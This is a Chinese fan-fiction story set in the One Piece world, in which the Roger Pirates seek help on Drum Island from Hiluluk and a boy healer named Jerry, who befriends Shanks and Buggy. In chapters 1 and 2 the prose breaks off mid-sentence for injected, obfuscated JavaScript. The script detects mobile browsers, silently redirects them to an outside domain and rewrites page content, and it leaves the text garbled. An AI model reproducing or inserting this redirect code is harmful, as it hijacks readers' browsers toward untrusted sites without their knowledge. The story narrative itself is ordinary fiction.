《学医救不了伟大航路》 1. 不行医的小医生 气温开始降低了,环境也变得稳定,伟大航路的水手都知道,这是接近冬岛的预兆。 飘扬的细雪乘着风,跃过双人鱼船首,飞过张扬的红帆,轻轻地落在了一名小少年一样红红的鼻子上。 “阿——嚏!” 巴基整个人都随着这个喷嚏摇晃了一下,吓了旁边一样头顶水桶罚站的小伙伴一跳。 “哇啊——巴基!我的水桶差点掉下去了!” “活该啊!臭克斯!要不是你,本大爷才不会在这里跟你罚站!” “哈??” 眼见两个人又要打起来,雷利走了过来,随手把两个水桶拿到一边。 “好了,臭小子们,下次再因为鱼鳞更亮会不会更好吃这种蠢问题打架就让你们吊起来顶水桶。” 他在一蓝一红的两个脑袋上分别捶了一下: “去加衣服,贾巴说我们快到磁鼓岛了。” 磁鼓岛,以医术著名于伟大航路。罗杰海贼团此次正是为了船长罗杰的绝症而来。在双子峡邀请了库洛卡斯上船后,这位新加入的船医便对罗杰进行了全面的诊断,但是得出了他只能为其续命,不能根治的结果。 “但是——磁鼓岛上有很优秀的医生,也许他们会有什么办法。而且,我在岛上的友人曾经给我来信,说他们岛上来了个很有天赋的小孩,有特殊的能力。或许可以对如何治疗你的病有所启发...” 雷利的思绪被船舱里一阵乒乒乓乓的声音打断了,扭头一看,果然又是巴基和香克斯两个小孩掐在了一起,身上的围巾乱七八糟的在两人身上缠来缠去。 雷利眼角抽了一下,挂上了副船长的标准笑容走了过去。 “喂———” - “喂——希鲁鲁克!您要出门吗?” 希鲁鲁克狼狈地从不小心打翻的架子底下爬出来,转头看向实验桌边问他话的小孩。 那小孩头都没回,手也很稳地在往桌上的一个瓶子里慢慢地滴什么东西,只留给他一个淡金色的后脑勺。 ''看来这么大动静也没打扰到他。''希鲁鲁克松了口气,继续收拾他的医疗箱。 “啊,去看诊。听说岛上来了一伙很厉害的海贼要看病,我去看看。这次要和我去吗?”他顿了顿,又开口道:“不,算了。你先别去,茵弗。毕竟是据说很厉害大海贼,闹起来的话很危险。” “我本来也不打算去。”小孩嘀咕一句,放下手里的滴管,又转手拿起来了一袋不知名粉末,熟练的样子比起脸上还带着婴儿肥的少年,更像个什么实验室里的大化学家。 “这次被赶回来的时候,您别在桥上丢炸弹,我系了绳子在那边,还有,说了多少遍了,我不叫茵弗。” “我这次会帮上忙的,臭小鬼!...你系绳子干嘛了?” “栓了面包喂鱼。” 希鲁鲁克无语:“偷偷放了网抓鱼就说抓鱼,不要用喂这么善良的字。下次想吃鱼跟我说,我不是教你了,男子汉要坦坦荡荡——” “是——坦坦荡荡的希鲁鲁克,回来的时候请坦荡地把我的渔网顺便带回来吧,拜托您。” 希鲁鲁克不易,希鲁鲁克叹气,这就是十几岁小孩的叛逆期吗? 合上手提箱,戴上帽子,他在临出门前喊了一句: “叫我Dr.希鲁鲁克!臭小子!” 相对于这边的吵闹,罗杰海贼团那边就显得有点肃穆了。 “是的,很抱歉,呃,罗杰先生。但是您的这种症状,我们只能帮助,呃..缓解,想要根治的话,目前还没有,呃...很好的办法...” 医生战战兢兢地说着,虽然慕名来磁鼓岛求医的人不少,其中当然也会有一些海贼。但是当前的大海上海贼并不多,小一些的海贼团闹事的话,国王护卫队也会解决。 只是目前在伟大航路上名声鹊起的罗杰海贼团明显与那些人不是一个量级。面前的男人只是坐着就给他了一种很大的压力,更不要说他身后手搭在剑上的金发男人。 在这种情况下宣告一个人得了无药可医的绝症,乔治是真的有些害怕对方因无法接受而暴起伤人的。 罗杰咧嘴,仿佛没注意到面前医生的紧张一样,笑着打破了屋子里的严肃氛围:“这样吗!那也是没办法的啦哈哈哈。” 雷利叹了口气,走上前去将那位医生从罗杰友好的拍肩下救了出来——以在罗杰头上捶一拳的方式。 “嗷!干嘛啊,雷利——” 雷利没理这个不知道自己力气有多大的白痴,微笑着对脸都吓白了的医生伸出了手:“抱歉,吓到你了。我是西尔巴兹·雷利,罗杰海贼团的副船长。我们来这里就是为了给船长看病,没有闹事的意思,请放松。” 可能是被雷利温和的语气安抚了一些,医生也伸出了手,礼貌地回握。“您...您好,我是Dr.乔治。” 雷利收回了手,但是这回没有搭在剑上,只是简单地放在身侧。 “乔治医生,关于我们船长的病,其实经过船医库洛卡斯的诊断,我们心里也有了准备,他说你们是书信往来的老友,曾经写信告知他磁鼓岛上来了一位有着特殊能力的小...医生,我们想可能会有所帮助。这是库洛卡斯的手信。” Dr.乔治接过雷利手里的纸扫了一眼,确认是库洛卡斯的笔迹后松了一口气,却又在听到“特殊能力的小医生”的时候面色古怪了起来。 “库洛卡斯加入海贼团了吗...啊,并不是说这有什么问题的意思...他提到的那孩子,确实...我们岛上有一个有特殊能力的孩子。” 说到这里,医生露出了似是同情,似是可惜的神色。 “那孩子很有天赋,加上他的能力,理论上来说,确实可以说是一位医生。我当时给库洛卡斯写信,也是为他的独特能力而吃惊...” 雷利挑了挑眉,“理论上..?” 乔治:“是的,虽然药理的知识他学的很快,可是,也许是他能力的原因,那孩子想要治疗什么的时候,很多时候却和平时的方法不一样。我们一开始也想要去理解的。” 只不过当他掏出来青蛙,松脂,这类的东西,把草药和菌类奇怪的混来混去,还叫病人做一些奇怪的事情的时候,就会被很多患者,和医生责备谩骂。 乔治叹了口气:“他当时才是个几岁的小学徒,救人治病又不是可以随意对待的事情,加上带着他的长辈也是一个样子的不正经,大家便当他是在胡闹。” 罗杰听到这里,本来有些无聊飘忽的眼神,突然发出了“好有趣”“好好奇”的闪光。雷利头都没回,就又给了他一拳头,让他消停。 雷利:“不用管他,请继续,听你的意思,这位小医生似乎并不是在''胡闹''?” 乔治干笑了一下,罗杰海贼团的船长...应该是罗杰先生..吧..? 他清了清嗓子,继续说道: “是的..有那么一两位,抱着死马当活马医的心态,让那孩子在自己身上实验学习,然后就被他这么''胡闹地''治好了。” 似乎是想到了当时的震惊,或者是想起那么小的一个孩子脸红红的被一个是他几倍高的大汉痛哭流涕地抱着感谢的样子很可爱,乔治的嘴角微微上扬了一点,却又很快的垂了下来。 “虽然我们很多人都觉得只是巧合,只是那孩子误打误撞用对了哪味草药。可是正想要带着他进一步实验学习的时候,那孩子...出了个意外。” 雷利:“意外?” “是的,具体我不便详说,总之,在那之后,那孩子就不经常到村镇里来了。” 雷利:“他不住在镇里吗?” 乔治摇了摇头:“他是外地带回来的孤儿,一直跟着我们岛上的一位庸医,也就是带他回来的长辈生活。”Dr.乔治犹豫了一下,最后出于对面前海贼们的观感,当然,更多还是信任旧友库洛卡斯的判断,他选择了相信雷利他们真的不会做什么伤害岛民的事。 “他们...生活在西边的森林 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14495346|154812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里,具体位置我就不清楚了。” 雷利感谢了乔治的信息,掏出了一袋子金币放在桌上。 “多谢,乔治医生,那么我们就去森林里拜访一下,不过多打扰了。库洛卡斯下船后去采购药材了,也许晚点会来叙旧。”拽着罗杰离开前,他又问了一嘴:“对了,那孩子叫什么名字?” 乔治从那一大袋金币的震惊里晃神,“啊..啊,他叫茵弗玛利。照顾他的长辈叫希鲁鲁克。” 而就在雷利和罗杰往森林方向去的时候,他们没有想到船上的实习生们已经先他们一步找到了这位“小医生”。 香克斯和巴基作为奥罗杰克逊号上长大的孩子,从小就抱着天不怕地不怕的臭小子心态到处乱闯。虽然年纪还小,但是崇尚自由的海贼们也不愿意拘着他们。去年正式成为实习生后,船上也很少安排他们跟着守船,到了不太危险的岛屿,在偶尔的采买跑腿外,就让他们自由探索。 罗杰是来找医生这件事,虽然大家都不说,但是大家都能感觉出两个孩子明显在上岛后心情有些沉重,也没有像往常一样乱跑。 在又一次问话没有回复之后,贾巴偏头就看到香克斯眼神再一次瞟向了医院的方向。他无声的叹了口气,接过两人身上的包袱后便打发他们去转转。 “你们在这里担心也没用,我们又不是医生。去去去,小孩就该去做点小孩的事。船长他们晚点就回来了,冬岛天黑得有多快不用我说吧,趁着还有日头去逛逛。” 两个小少年被戳破心事都有点不好意思,在“我们不是小孩子了”“没事我们可以先把东西拿回船上”和“我们知道船长没事,没有担心”这种推拉了几轮之后被贾巴在屁股上一人踢了一脚。 “让你们去就去!” “是——!” 于是,三十分钟后,香克斯和巴基,罗杰海贼团的11岁大海贼实习生,手里拿着街上买的烤栗子,在森林里被一群巨大的兔子里狂追。 巴基:“都怪你,香克斯!你挑衅那只小的干嘛啊啊啊!这下好了!引来了一群大的!” 香克斯:“哈哈哈哈抱歉抱歉!我看它想要吃栗子的样子很可爱嘛!” 巴基:“那你就给它吃啊!不想分的话就干脆踢飞好了!” 香克斯:“诶——怎么能那么过分!我只是逗它玩玩嘛,谁知道它哭唧唧的叫来了一群爸爸妈妈。” 杰里:“真是失礼啊!用食物引诱我却吃不到的话,我也会很生气的!更何况拉邦可是很宠溺幼崽的一群家伙。” 巴基:“就是就是...真失礼!....你又是哪来的啊!!!” 巴基偏头一看,自己和香克斯中间不知道什么时候多出来了一个陌生小孩,自己的空着的手上拽着对方的衣角,香克斯也是拉着对方的手。 杰里:“诶?不是您们拉着我跑来着?” 巴基:“谁拉着你——啊——!刚刚——!” 刚刚跑得太急,两个人一起摔了一跤。因为下船之前因为打闹而乱糟糟的围巾没有好好整理,担心它们又缠到一起,留在原地只会让那群凶残的兔子追上来,两个人便不约而同的往对方方向一抓,手里拽住了就继续跑,根本没注意到拽住的根本不是船上的伙伴。 陌生的小少年看起来不大,浅金色的头发在雪地的反射下衬得很亮。他长得没有很帅气,但也不难看,脸上还带着小孩子的婴儿肥。有特点的地方大概就是明明在是冬岛,却有着沙漠子民一般棕褐色的皮肤,脸上笑眯眯的。可能是突然被他们拉着跑了有一会儿了,稍微有些喘,但是背挺的很直。 香克斯从震惊中回过神,却也没有把手松开,可能是终于对当下这个荒谬的处境有了实感,他笑了起来: “哈哈哈哈哈!你可真有意思啊!我是香克斯!” “本大爷是巴基!” “啊!真是失礼了!我是茵、杰里!” 在一群拉邦吱嘎乱叫的吼声里,没有经历变声的少年们,声音都是一样的清亮。 2. 交到新朋友的概率是99% 杰里并不是一个热衷于运动的人。虽说住在森林里,希鲁鲁克还非要住在树上,他必不可免的也有一些运动量,但是也不是很多。 也许今天就是神决定他弥补欠下的运动量的日子罢,在他蹲在地上挖蘑菇时,两个陌生少年突然一左一右的摔在他两旁,并且二话不说地开始拽着他飞奔。 他没什么所谓,瞟了一眼身后追赶的拉邦,便自然地跟着跑了。那两个少年好像也没注意到他,也许一开始是想拉起摔倒的对方吧,关系真好。 虽然听他们吵架很有趣,不过,许久没这么跑过的杰里是真的感到累了,他的蘑菇也掉了好多,不想再捡。 所以,他示意两人往他来的方向跑,七拐八拐地把拉邦们引到了平时希鲁鲁克布置的防野兽区域。一阵烟尘过后,拉邦们便皱着受刺激的鼻子,叫唤着离开了。 “呼...呼...总算甩掉了,什么鬼兔子啊怎么那么大只。” “哈...累了,刚刚的陷阱是你做的吗,好酷!” 没有等到回答,香克斯坐了起来,却发现刚刚还在自己身边的新朋友已经跑到旁边去了,手里捧着一团蘑菇,另一只手还在灌木丛上掏啊掏的。 他好奇地凑了过去,发现对方原来是在摘一种没见过的野果。因为歪着身子的缘故,蘑菇噼里啪啦的掉在了地上几颗。 香克斯也向灌木伸出了手:“要帮忙吗” “啊,感谢。”杰里把手上幸存的蘑菇往他的手里一塞,腾出手来拨开带着尖刺的灌木,终于摘到了里面的浆果。 “诶——最近摘的有些多了吗,要凑到这么里面了,真不好意思啊。”他嘀嘀咕咕着,轻轻拍了拍灌木的枝叶。 离得近了,香克斯注意到了对方即使没有在笑,也是眯眯眼的样子,所以勾勾嘴角就会有笑眯眯的感觉,右眼下方有也一颗小痣。 那些果子圆圆的,红红的,杰里捏着他们仔细端详着的样子倒像是在鉴定什么宝石。 孩子总是对没见过的东西好奇的,更何况他还是个海贼。随手将手里的蘑菇放到兜帽里,香克斯小半个胳膊都塞到灌木里了,终于也摘到了几个果实。 手上划破了几个口子,他也没在意,难怪杰里歪来歪去的。这种浆果果然很圆,如果是白色的,就很像珍珠了,他准备拿给巴基看看。不过,也许巴基又会觉得他在说他的红鼻子吧。为了避免小伙伴生气,香克斯还是把摘到的果子递给了杰里。 对方接过时顿了一下,顺便握住了香克斯的手。 “这种灌木确实脾气不太好哦。香克斯先生手划破了呢。” 咦?先...先生什么的,听起来好怪。 “先生哈哈哈,听起来好怪!”香克斯点头,原来是巴基道出了自己的心声。 巴基也已经缓了过来,一边往嘴里塞栗子,一边走了过来。 “哇,栗子都凉了啊,可恶,热的才好吃啊!” 香克斯稍微有点不好意思,收回了手,习惯性地把伤口放在嘴里含着。 杰里:“噢噢,这样子痊愈的几率是100%。” 香克斯好奇:“诶?如果不管它的话还有可能不变好吗,明明连伤都算不上。” “啊,不管它的话痊愈几率也是100%。” “哈?” 巴基哈哈大笑起来:“笨蛋啊香克斯!那么小的伤口当然五分钟就好了!不过,你那样舔很脏诶。” 杰里也学着香克斯把手里的浆果放到了兜帽里,打了个响指: “bingo!巴基先生!作为正确答案的恭喜,要不要来我住的地方加热一下栗子?就在附近哦。” “先..先生吗?哼哼,本大爷确实很成熟啦,好吧!就勉为其难的答应你!走了,香克斯!别发呆了!” 香克斯也笑了,没有半点被耍了的不好意思:“哈哈哈哈好吧!你果然很有意思啊!” 希鲁鲁克还不知道自己的家里多了两个小鬼,三个人放着壁炉和灶台不用,拿他的实验器材加热栗子。他正在被一群突然出现的拉邦追。 “呜哇!该死!拉邦怎么会从森林的这侧钻出来,还一副心情不好的样子!” 现在还在山里,他不能用炸弹,会引发雪崩的。而且拉邦护短的性子,用手抢打伤一只,他会被一群更加疯狂地报复,还好带了烟雾弹出来,要找个合适逃脱的地方丢出去。 拉邦来的方向是家附近的方向,他也有些担心。 正当他绞尽脑汁的时候,迎面的方向走来了两个人。他赶紧高挥双手,想要提醒他们离开:“喂!快跑!拉邦发狂了!” 那两个人只是脚步顿了一下,反而迎了上来。 希鲁鲁克只觉得他们身形一闪,身后就传来一道粗犷的声音: “喂!都滚开!” 一股无形的压力从他身上掠了过去,突然被猛兽紧盯的感觉就像是一张无形的巨手钳在了他的身上。希鲁鲁克腿一软,在跌倒之前,被一名金发的男人拉住了。 “罗杰!注意一点!” 罗杰..?来岛上的大海贼团,是那个罗杰海贼团吗? 希鲁鲁克回头,只看到拉邦们惊慌逃窜的背影,和一个满脸笑容的高大男人。居然一句话就驱散了野兽?! 不过,毕竟是救了自己的人,希鲁鲁克压下心悸的余韵,开口感谢道: “十分感谢你们的相助,拉邦发狂不尽快处理的话可能会引发雪崩,那样村镇就糟糕了。” “诶——?会引发雪崩的兔子吗?有意思。喂,雷利!我们去抓一只吧!” 黑发男人应该就是罗杰船长了,他捻了捻胡子,笑嘻嘻的开口。金发男人——雷利,只是踢了罗杰一脚,拒绝了他,转头和希鲁鲁克交谈。 “不必在意拉邦的事,我们也是来找人的,遇上野兽也很麻烦。也许你可以为我们指路?” 希鲁鲁克疑惑:“找人吗?但是城镇在另一个方向?”说着指了指罗杰他们来的方向。 “啊,我们要找的人听说住在森林里,是一位医生。” “Dr.库蕾哈吗?那个老太婆在东侧森林。”希鲁鲁克又指了指东边的方向。 雷利看了一眼希鲁鲁克的药箱,微笑道:“不,我们找一位叫茵弗玛利的小医生。或许你知道他?嗯...希鲁鲁克先生?” 可能雷利看出了他的紧张,安抚道:“别担心,我们没有恶意,只是听说了那孩子有些特殊的能力,可能会对我们船长的病有所帮助。镇上的乔治医生便告知了我们一些大概的信息。” 听到生病的字眼,也许是医生的本能站了上风,也许是他曾经也是在海上闯荡的盗贼的缘故,总之,希鲁鲁克放松了些。 “啊,是这样啊,我确实就是希鲁鲁克。二位随我来吧,茵弗那孩子应该也在家里,或者是在附近做些采摘。只是...” 他挠了挠脸,有些纠结该怎么把接下来的话说出口。一方面,茵弗不主动行医了的原委确实不是简单能说清楚的,但是另一方面,如果被拒绝了或者被要求做什么“不寻常”的事,让这些大海贼生气的话,也会有危险。 他长叹一口气,带着两个海贼向自己的家走去:“那孩子,比较特殊,又...出现了些意外。现在已经不主动行医了。如果他一开始拒绝或者有些什么冒犯的举动,我会好好劝说的。” 雷利笑了笑:“没关系,对于他是个有些特殊的孩子一事,我们已经略有耳闻。罗杰海贼团还不至于跟一个孩子生气。” 罗杰咧了咧嘴:“他以前治病不是很自由吗!现在不治也是他的自由。而且你不是也是医生吗?也是一样的。” 希鲁鲁克愣了一下:“治病很..自由?” 罗杰点点头,笑嘻嘻地翘起胡子:“不管别人怎么说,自己做自己想要的就好了——有点像个海贼呢,我觉得很有趣!” 希鲁鲁克突然就想起来那个小不点还是一个脸软软,腿短短的小团子的时候,手里捧着一个白腹冻蛙往他长了冻疮的手上擦。 视觉和触觉上都有点恶心,自己也呲哇乱叫想要甩开,那个小孩却坚定地按住他,奶声奶气地叫唤 ''这样就会好了!我要你好!不要你动了!'' 他也咧嘴笑了:“哈哈哈哈,他确实很霸道呢呢!不过,如果那小子不治,就请交给我吧!我作为医生也是很负责的!” - “嗯..所以,您就这样负责地让病人更难受了,让我来收拾烂摊子?这个月第四回了吧。” 希鲁鲁克有些心虚的看着面前的孩子,明明还是笑眯眯的脸,怎么会这么有压迫感啊可恶,他可是大人诶! “抱歉,茵弗。但是人家是大海贼诶,帮帮忙吧!他的病确实很棘手,我就想试一试新的万能止痛剂...怎么会刺激呕吐呢真是奇怪...” 眼睛左瞟右瞟,希鲁鲁克看到了自己的实验器材,有的上面还黑乎乎的。他连忙开口:“而且!你怎么用实验器材烤栗子啊!又不是玩具,为什么不用壁炉?”他指了指其中一个烧瓶惨淡的样子:“这种程度不止是烤栗子那么简单了吧,又在把吃的和实验混到一起了?这样好多器材就又要报废了,很贵的啊臭小鬼!” “因为香克斯先生他们很感兴趣啊,还有,别叫我茵弗。” “虽然你交到朋友是很难得啦...” “Dr.希鲁鲁克。” 希鲁鲁克一僵,“怎..怎么了?” 家里的小鬼只是微笑,嘴角弧度 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14495347|154812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 完美的那种。希鲁鲁克不太喜欢他这么笑。 杰里:“已经这么多年了,出于尊敬,我还是偶尔会帮您解决一些问题。但是,我说过的吧,我不跟您去行医了。” 他戳了戳希鲁鲁克的风衣。临近黄昏,外面开始起风了,这样的风雪几乎每一天都有,今天是如此,那一天也没什么不同。 或许是这边的氛围开始变得僵硬,屋子的另一侧,罗杰和香克斯他们也从吵闹中逐渐安静了下来。 杰里:“人要对自己的行为负责。” 希鲁鲁克佝偻了一下,什么也没说,只是有些心疼地摸了摸对方的头发。软软的,并不丝滑。气候寒冷的原因,他的茵弗并不喜欢太勤快地洗澡,偶尔也会符合年龄地耍赖,他更喜欢他那种时候的笑。 杰里啧了一下,却也没有躲开希鲁鲁克的手:“我在说您!” 希鲁鲁克笑道:“知道了知道了。我看你摘了辛棘果,是要做酱吗?晚上请新朋友吃饭吧?” 他又掐了掐对方脸上的软肉: “我去把你的渔网带回来行吧,你去给罗杰船长看看,总不能让客人吃到一半就吐出去。我下次一定会成功的!” 杰里挥了挥手,算是默认了他的理由。忽视希鲁鲁克越来越大的笑容,他先走到了香克斯和巴基的身边,打算先告知一下安排,顺便邀请他们吃晚饭。 希鲁鲁克那边也一样,罗杰和雷利同意了他的邀请,雷利提出要一起去带渔网和鱼回来,防止再有拉邦什么的捣乱,顺便告知船员。 最后,几人同意先等杰里把罗杰被希鲁鲁克“治疗”出的问题解决,雷利再离开。毕竟罗杰刚出现不良反应的时候是真的给他们吓了一跳,差点就拔刀了。而且,他也对这个孩子的能力很好奇。 希鲁鲁克把杰里从香克斯那边拉了过来,小孩儿一边的脸颊还鼓鼓的,应该是被小伙伴塞了个栗子。 希鲁鲁克:“这就是你们要找的人,茵弗玛利。” 希鲁鲁克受到了[手肘重击],效果超群! 他还是笑眯眯的,很有礼貌的鞠了一躬:“你们好,我是杰里。希鲁鲁克给你们添麻烦了。” 海贼还真是很少看到这么礼貌又不怕他们的小孩,雷利没提两人用的名字的差异,只是将罗杰也拉了过来:“你好,小医生。我们是罗杰海贼团,这是船长哥尔·D·罗杰,我是副船长西尔巴兹·雷利。辛苦你对我们船上实习生的照顾了。这家伙就拜托你了。” 杰里摇了摇头:“哪里,香克斯先生和巴基先生很好,是您们教导有方。” 罗杰可受不了这种寒暄,他一屁股坐在了杰里面前的椅子上,打断了二人:“你就是那个有趣的小医生吧!好了,我准备好了。你的能力是激光吗!” 雷利青筋一跳,刚要捶自家船长脑袋,就见杰里很平淡的开口:“居然有发射激光那么帅的能力吗,很有趣呢。不过很可惜,我的能力只是能让我听得清楚一点。失礼了。” 他说着,伸出了一只手,轻轻地握住了罗杰的手。 听...?雷利挑了挑眉毛,见闻色?还是...聆听万物之声? 整间屋子都安静了下来,连香克斯和巴基都不由自主地屏住了呼吸。 好像过了十分钟?十秒钟?杰里松开了罗杰的手,迎上了对方的笑脸和若有所思的眼神。 “痛吗?罗杰先生?” 罗杰没说话,只是笑容更大了,盯着杰里看。 杰里可能看出来他不会回答,可能是也没想他回答。他回过身去架子上翻出来一罐草药,抓了一把放在放在炉子上煮,又切了一大块生姜进去。 他闻了闻,又丢了几朵蘑菇。看起来不像是在煮药,更像是在炖汤一样。 他一边转来转去,找一些瓶瓶罐罐加到锅里,一边念叨:“希鲁鲁克的药是安全的,只不过不适合您现在的身体,所以出现了不良反应。对您来说,最快的方法是等它自己排出去,否则已经在被药物安抚的身体就会被突如其来的各种其他药物冲击到。” 他拍了拍希鲁鲁克:“这家伙没有参考您先前的用药,还突然给您用他自制的止痛剂,您的身体在委屈呢,罗杰先生。” “诶?那你也要给船长吃药吗?”香克斯指了指炉子上架着的坩埚,疑惑的歪头歪脑。 “不,我只是安抚他的器官,再短暂的提高代谢。” 他按了按香克斯头上的草帽,笑了笑:“不是要一起吃晚饭吗?可以在晚饭前消除影响的几率是...嗯...85%” 香克斯惊讶:“诶?这次是真的?你还会占卜吗杰里?” 杰里:“不会噢,我随便说说的。” 巴基:“哈哈哈哈哈笨蛋香克斯,又被耍了!” 3. 怕冷 雷利和希鲁鲁克并肩前行在去收渔网的路上,他打算顺便在镇上告诉船员们他们今晚的安排。 虽然一般到了岛上大部分船员都会找个酒馆或者餐厅解决伙食,守船的也不会特意给谁做饭。只是船上的两个小实习生误打误撞的和他们凑到了一起,太晚不回去,船员们肯定就算嘴上不说,心里也会担心的。 “那孩子,能力是诊断?他能准确知道别人得了什么病?” 希鲁鲁克听到雷利的询问,先是点了点头,又摇了摇头。 “准确来说,他能听到【病痛】,所以除了疾病,受伤或者是别的紊乱也可以。目前只知道他不是像传统医生一样与【症状】打交道,而是【痛苦】本身。具体的我们也在摸索,毕竟一开始他也只能听出来 ''身体在告知痛苦'' 这样模糊的感觉。” 可能是想起来了罗杰在吃下那一碗“药”的时候扭曲的表情,希鲁鲁克面色古怪了一下,也不知道哪个更痛苦。 雷利:“需要通过肢体接触?” 希鲁鲁克:“是的,但是必须是茵弗以手为媒介去接触对方。” 雷利默默的排除了之前假定的聆听万物之声的想法。也许是某种高级的见闻色? “话说,你和Dr.乔治都叫那孩子''茵弗玛利'',他为什么自称''杰里''?而且,如果是听到病痛的话,他没提到罗杰身上的病。” 希鲁鲁克:“那孩子本名其实是''杰里'',是他姐姐给的名字,''茵弗玛利''是后来我给他起的。至于罗杰船长的病,他应该听到了,只不过...也许是我没说要他帮忙的原因。” 茵弗就是那种不推一把就不会前进的家伙。 希鲁鲁克叹了口气:“晚点也许,我能再让他帮帮忙。啊,前面就是城镇了,雷利先生,你先去忙吧,我去收渔获。我们可以晚餐时慢慢聊。” 想到罗杰身上的病,雷利耳边好像又听到了小孩认真又无奈的声音。 “痛吗?罗杰先生?” 没...提到吗? 他呼出长长的一口气。 - 说是晚餐时聊,但实际上真的吃晚饭时,希鲁鲁克完全被罗杰讲的冒险故事吸引住了。香克斯和巴基作为部分冒险的参与者,也七嘴八舌地添加自己的视角,一群人一边往嘴里塞煎鱼,一边叽里呱啦哇哈哈的大呼小叫。 相比之下,杰里倒是显得很平静。他分半只耳朵听着罗杰的故事,慢悠悠地给自己的煎鱼上刷着一种红艳艳的酱。见雷利看他,就把手边的瓶子笑眯眯的递了过去: “您也试试吧,雷利先生?这是辛棘果做的果酱,你们出去的时候,我们做的。” 雷利将瓶子接了过来,给自己舀了一点尝尝。味道上比起猜想中的甜味其实更偏辛辣一点,但是确实配煎鱼会有一种清爽感。吃完之后有一种暖洋洋的感觉,很适合经常要食用大鱼大肉的冬岛,也很好吃。他感受着自己的耳朵和胃变得暖呼呼的感觉,挑了挑眉。 “这种果子有驱寒的功效?” 杰里打了个响指:“bingo!不过吃太多会中毒哦,是辛棘果丛的自我保护机制的抗议。” 雷利皱了皱眉,看向了往自己的盘子里大倒果酱的罗杰等人。不过,他相信如果有问题杰里或者希鲁鲁克会说的。 果然,杰里开口打消了他的顾虑:“别担心,先生。果酱里面当然不止有辛棘果,还有别的东西中和毒性。而且,只有浆果和糖可不会让人一下子温暖起来,要别的东西辅助。” “我最怕冷了,对待一切能让我温暖起来的东西都很上心哦。” 雷利:“怕冷却生活在冬岛上?” 杰里耸肩:“没办法嘛。” 香克斯突然贴了过来:“什么!你怕冷吗,杰里?那就是说你玩雪并不厉害?我还和巴基打赌你生活在冬岛肯定雪人做得很好,打雪仗也厉害。” 杰里:“?这有什么关系,手会很冷啊,做采摘已经是我的极限了。香克斯先生为什么这么肯定我不怕冷。” 香克斯:“因为芋头前辈他们说冬岛的雪女都会用雪擦身子,所以很白。啊!所以你的皮肤颜色才比较深吗?因为怕冷所以没擦过?” 雷利额角一抽,芋头他们...都教了香克斯他们什么东西!虽然他们是海贼,比较早熟也正常,但是他们还是小鬼吧! 杰里也很无语:“失礼了,但是,笨蛋吗?香克斯先生。我的肤色再怎么搓雪也不会变白的,冻伤还差不多吧!而且,就算冬岛人肤色会白皙一些,我这个别的岛来的人也不成立。” 香克斯:“诶?原来杰里不是磁鼓岛人吗?我就说你和镇民们讲话方式不太一样。” 他不好意思地挠了挠鼻子:“就像我不是比你小一岁吗?还要叫我先生什么的...” 杰里:“虽说确实如此,但是我的讲话方式是我家乡的礼仪,只要称呼外人一定要加上敬称的,不管对方年龄大小。就算您是个一岁的小婴儿,我也会叫您''香克斯先生''。” “希鲁鲁克也是外海来的,不过他以前是个海上小偷来着,这方面就更随意一点。我和姐姐跟着他来的磁鼓岛的时候镇民们也很不习惯呢。” 香克斯一惊,瞄了一眼已经开始和罗杰船长喝起酒的希鲁鲁克,悄悄凑了过来,小声地询问: “小偷?哪种小偷?你和你姐姐是被他偷走到这边的吗?你姐姐被他分开卖掉了?” 虽然没有被大人详细的告知全部,香克斯也模模糊糊感觉出来了杰里身上是有什么特殊的能力的,也许因为这个希鲁鲁克才把他留了下来。他不禁为自己的新朋友担心了起来。 雷利本来就对杰里很好奇,这会儿也竖着耳朵听他们谈话。 杰里好像才意识到自己说了什么,顿了一下:“...不,我遇到希鲁鲁克的时候他就已经弃盗从医,来磁鼓岛的路上了。我和姐姐...我是自愿跟他走的。” 香克斯:“那你姐姐...” “香克斯。”雷利突然打断了他,不让香克斯继续问下去了,他感觉得到敏感话题的出现。罗杰好像也感觉到了什么,停止了和希鲁鲁克和巴基的聊天,往这边看了过来。 杰里却又挂上了笑眯眯的样子:“没关系,雷利先生。”他扭头看向香克斯,捏了捏他的脸:“我姐姐,是被我偷走的哦。希鲁鲁克是坏人的几率是0%,我反而可能是99%。” 希鲁鲁克突然开口了:“别这样说,茵弗!我教过你的吧——” “别叫我茵弗,希鲁鲁克。”杰里打断了他,并从椅子上跳了下去,将自己的餐具丢到了水池里。 然后,他又对着众人鞠了半躬:“请慢用,各位,我吃好了,现在要去把渔网重新放到河里,不奉陪了。” 他又指了指雷利手边的果酱瓶:“希鲁鲁克今天添了不少麻烦,海贼又不会做慈善,不必给他诊费了。作为赔礼,您们离开前可以把剩下的辛棘果酱带回去作为特产。” 他又从书架上抽出来一卷地图递给雷利:“这上面东侧森林画了圈的地方是Dr.库蕾哈的家。您可以和罗杰先生去拜访她,库蕾哈医娘是磁鼓岛最厉害的医生。” “那么,我出门了。” 短暂的安静后,屋子里爆发出罗杰的笑声:“哈哈哈哈哈!我们是被他超有礼貌的赶人了吗!喂,希鲁鲁克!你家小鬼不是超有趣吗!你被嫌弃了啊。” 香克斯被罗杰的笑声从愣神里震了出来,他急急忙忙把盘子里的煎鱼塞到嘴里,也从餐桌上一跃而下。 “啊!船长,雷利前辈!我去...给杰里送围巾!他忘记戴了,但是他不是怕冷吗!”他又一把扯下巴基:“巴基!走了” 